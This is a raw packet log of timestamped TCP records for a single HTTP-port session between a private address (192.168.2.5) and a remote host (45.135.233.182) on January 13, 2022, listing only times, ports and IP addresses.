Jan 13, 2022 20:51:14.438807964 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.438961029 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.438980103 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.439034939 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.497474909 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.497531891 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.497572899 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.497612000 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.497637033 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.497684002 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.513654947 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.513699055 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.513737917 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.513778925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.513807058 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.513840914 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.513897896 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.513942003 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514061928 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514128923 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.514187098 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514246941 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.514580965 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514626980 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514664888 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514705896 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.514738083 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.514786959 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.553864002 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.553914070 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.553942919 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.553970098 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.554018974 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.554049969 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.570854902 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.570941925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.570993900 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571013927 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.571058989 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571124077 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.571244955 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571266890 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571305990 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571338892 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.571346045 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571387053 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571415901 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.571425915 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571466923 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571504116 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571505070 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.571543932 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.571557999 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.610944986 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.611016035 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.611057043 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.611095905 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.611155033 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.628361940 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.628422022 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.628479004 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.628499985 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.628523111 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629020929 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629076004 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629084110 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.629118919 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629142046 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.629158974 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629473925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629513979 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629539967 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.629554987 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629565954 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.629595041 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.629900932 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.630043030 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.630084038 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.630147934 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.683206081 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.683238029 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.683258057 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.683270931 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.683322906 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.683363914 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.696435928 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.696464062 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.696480989 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.696497917 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.696549892 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.696578979 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.697833061 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.697870970 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.697890997 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.697904110 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.697953939 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.697977066 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.698251009 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.698270082 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.698292017 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.698303938 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.698332071 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.698359013 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.698915005 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.698934078 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.699004889 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.739763975 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.739794970 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.739820004 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.739844084 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.739873886 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.739898920 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.752144098 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.752171993 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.752194881 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.752278090 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.752995014 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753021002 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753045082 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.753616095 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753639936 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753664017 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753688097 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.753694057 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.753742933 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.754230976 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754256010 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754280090 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754304886 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754327059 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.754364014 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.754518986 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754544020 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.754570961 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.795784950 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.795818090 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.795842886 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.795854092 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.795870066 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.795902967 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.830221891 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.830251932 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.830276966 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.830302000 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.830312967 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.830358982 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.845532894 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.845556021 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.845567942 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.845602036 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.845678091 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.846796036 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.846813917 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.846879959 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.852318048 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.852344036 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.852365017 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.852386951 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.852407932 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.852456093 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.904985905 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.905010939 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.905028105 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.905041933 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.905081034 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.905117989 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.905128956 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.905680895 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.920356035 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.920423031 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.920440912 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.920478106 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962388039 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962450981 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962490082 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962529898 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962572098 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962591887 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962610006 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962615013 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962651014 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962660074 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962693930 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962701082 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962733984 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962773085 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.962791920 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.962817907 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.963017941 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.963089943 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:14.976664066 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.976726055 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:14.976783991 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.019531965 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.020930052 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.020978928 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021019936 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021058083 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021080971 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.021096945 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021119118 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.021308899 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021351099 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021390915 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021426916 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.021429062 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021466017 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.021867990 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021938086 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.021965027 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.033221006 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.033257008 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.033340931 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.076308966 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.076337099 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.076427937 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.077338934 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077380896 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077420950 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077461004 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077486992 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.077512026 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.077709913 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077753067 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077790022 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077831030 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.077842951 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.077920914 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.078042030 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.078083038 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.078299046 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.096695900 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.096741915 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.096780062 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.096815109 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.132740021 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.132798910 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.132844925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.132874966 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.132931948 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.134027958 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134072065 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134109020 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134139061 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.134149075 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134198904 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.134352922 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134414911 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134457111 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134469986 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.134495974 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134644032 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134685040 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.134711027 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.134730101 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.154381037 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.154426098 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.154567003 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.189086914 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189165115 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189290047 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.189565897 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189610958 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189723015 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.189800978 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189881086 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189922094 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.189960003 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.190022945 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190085888 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.190102100 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190144062 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190242052 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.190396070 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190438986 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190476894 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190526962 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.190601110 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.190620899 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.220144987 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.220196009 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.220249891 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.254662991 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.254736900 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.254785061 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.254832029 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.254867077 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.254903078 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.255053997 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255100012 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255143881 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255177021 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.255213022 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255541086 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255588055 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255604029 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.255630970 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255636930 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.255673885 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255811930 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255865097 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.255877018 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.255935907 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.276669979 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.276696920 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.276717901 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.276762009 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311125994 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311192989 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311249018 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311300039 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311315060 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311342955 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311619043 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311674118 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311686039 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311723948 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311772108 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311835051 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311840057 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311886072 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311887026 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.311932087 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.311976910 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.312024117 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.312027931 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.312069893 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.312071085 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.333558083 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.333589077 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.333663940 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.367430925 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.367505074 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.367535114 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.367567062 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.367624044 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.367655039 CET	49812	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:15.368181944 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.368211985 CET	80	49812	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:15.368238926 CET	80	49812	45.135.233.182	192.168.2.5
